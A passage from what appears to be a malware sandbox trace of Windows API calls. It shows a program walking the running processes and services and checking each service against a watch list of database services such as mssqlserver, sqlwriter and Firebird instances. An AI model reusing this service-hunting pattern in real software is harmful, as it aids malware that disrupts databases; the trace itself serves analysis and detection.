lpString2="Themes") returned -1 [0224.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0224.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0224.506] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0224.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0224.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0224.507] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0224.507] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0224.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0224.507] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0224.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0224.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0224.507] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0224.507] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0224.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0224.507] lstrlenW (lpString="TokenBroker") returned 11 [0224.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0224.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0224.507] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0224.507] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0224.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39a5ac0 | out: hHeap=0x4f0000) returned 1 [0224.507] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c [0224.511] Process32FirstW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.511] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.511] lstrlenW (lpString="System") returned 6 [0224.511] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.512] lstrlenW (lpString="smss.exe") returned 8 [0224.512] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.512] lstrlenW (lpString="csrss.exe") returned 9 [0224.512] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.512] lstrlenW (lpString="wininit.exe") returned 11 [0224.512] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.513] lstrlenW (lpString="csrss.exe") returned 9 [0224.513] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.513] lstrlenW (lpString="winlogon.exe") returned 12 [0224.513] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.513] lstrlenW (lpString="services.exe") returned 12 [0224.513] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.514] lstrlenW (lpString="lsass.exe") returned 9 [0224.514] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.514] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0224.514] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.514] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0224.514] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.514] lstrlenW (lpString="svchost.exe") returned 11 [0224.514] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.515] lstrlenW (lpString="svchost.exe") returned 11 [0224.515] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.515] lstrlenW (lpString="dwm.exe") returned 7 [0224.515] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.515] lstrlenW (lpString="svchost.exe") returned 11 [0224.515] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.516] lstrlenW (lpString="svchost.exe") returned 11 [0224.516] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.516] lstrlenW (lpString="svchost.exe") returned 11 [0224.516] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.516] lstrlenW (lpString="svchost.exe") returned 11 [0224.516] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.517] lstrlenW (lpString="svchost.exe") returned 11 [0224.517] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.517] lstrlenW (lpString="svchost.exe") returned 11 [0224.517] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.517] lstrlenW (lpString="svchost.exe") returned 11 [0224.517] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.517] lstrlenW (lpString="svchost.exe") returned 11 [0224.517] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.518] lstrlenW (lpString="svchost.exe") returned 11 [0224.518] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.518] lstrlenW (lpString="svchost.exe") returned 11 [0224.518] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.675] lstrlenW (lpString="spoolsv.exe") returned 11 [0224.675] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.675] lstrlenW (lpString="svchost.exe") returned 11 [0224.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.676] lstrlenW (lpString="audiodg.exe") returned 11 [0224.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.676] lstrlenW (lpString="svchost.exe") returned 11 [0224.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0224.676] lstrlenW (lpString="sihost.exe") returned 10 [0224.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0224.677] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0224.677] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0224.677] lstrlenW (lpString="Memory Compression") returned 18 [0224.677] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0224.677] lstrlenW (lpString="taskhostw.exe") returned 13 [0224.677] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0224.678] lstrlenW (lpString="userinit.exe") returned 12 [0224.678] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.678] lstrlenW (lpString="explorer.exe") returned 12 [0224.678] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0224.678] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0224.678] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0224.679] lstrlenW (lpString="SearchUI.exe") returned 12 [0224.679] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0224.679] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0224.679] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0224.679] lstrlenW (lpString="mobsync.exe") returned 11 [0224.679] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0224.680] lstrlenW (lpString="winhost.exe") returned 11 [0224.680] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0224.680] lstrlenW (lpString="cmd.exe") returned 7 [0224.680] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0224.680] lstrlenW (lpString="conhost.exe") returned 11 [0224.680] Process32NextW (in: hSnapshot=0x34c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0224.681] CloseHandle (hObject=0x34c) returned 1 [0224.681] Sleep (dwMilliseconds=0x1f4) [0225.486] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40e9510 [0225.486] EnumServicesStatusExW (in: hSCManager=0x40e9510, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0225.487] GetLastError () returned 0xea [0225.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1ac4) returned 0x40e4d08 [0225.487] EnumServicesStatusExW (in: hSCManager=0x40e9510, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40e4d08, cbBufSize=0x1ac4, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40e4d08, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0225.488] CloseServiceHandle (hSCObject=0x40e9510) returned 1 [0225.488] lstrlenW (lpString="AppXSvc") returned 7 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0225.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0225.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0225.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0225.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0225.488] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0225.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0225.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0225.488] lstrlenW (lpString="Audiosrv") returned 8 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0225.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0225.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0225.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0225.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0225.488] lstrlenW (lpString="BFE") returned 3 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0225.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0225.488] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0225.488] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0225.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0225.488] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0225.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0225.488] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0225.488] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0225.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0225.488] lstrlenW (lpString="CDPSvc") returned 6 [0225.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0225.489] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0225.489] lstrlenW (lpString="CryptSvc") returned 8 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0225.489] lstrlenW (lpString="DcomLaunch") returned 10 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0225.489] lstrlenW (lpString="DeviceAssociationService") returned 24 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0225.489] lstrlenW (lpString="Dhcp") returned 4 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0225.489] lstrlenW (lpString="Dnscache") returned 8 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0225.489] lstrlenW (lpString="DPS") returned 3 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0225.489] lstrlenW (lpString="DusmSvc") returned 7 [0225.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0225.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0225.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0225.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0225.489] lstrlenW (lpString="EventLog") returned 8 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0225.490] lstrlenW (lpString="EventSystem") returned 11 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0225.490] lstrlenW (lpString="FontCache") returned 9 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0225.490] lstrcmpiW 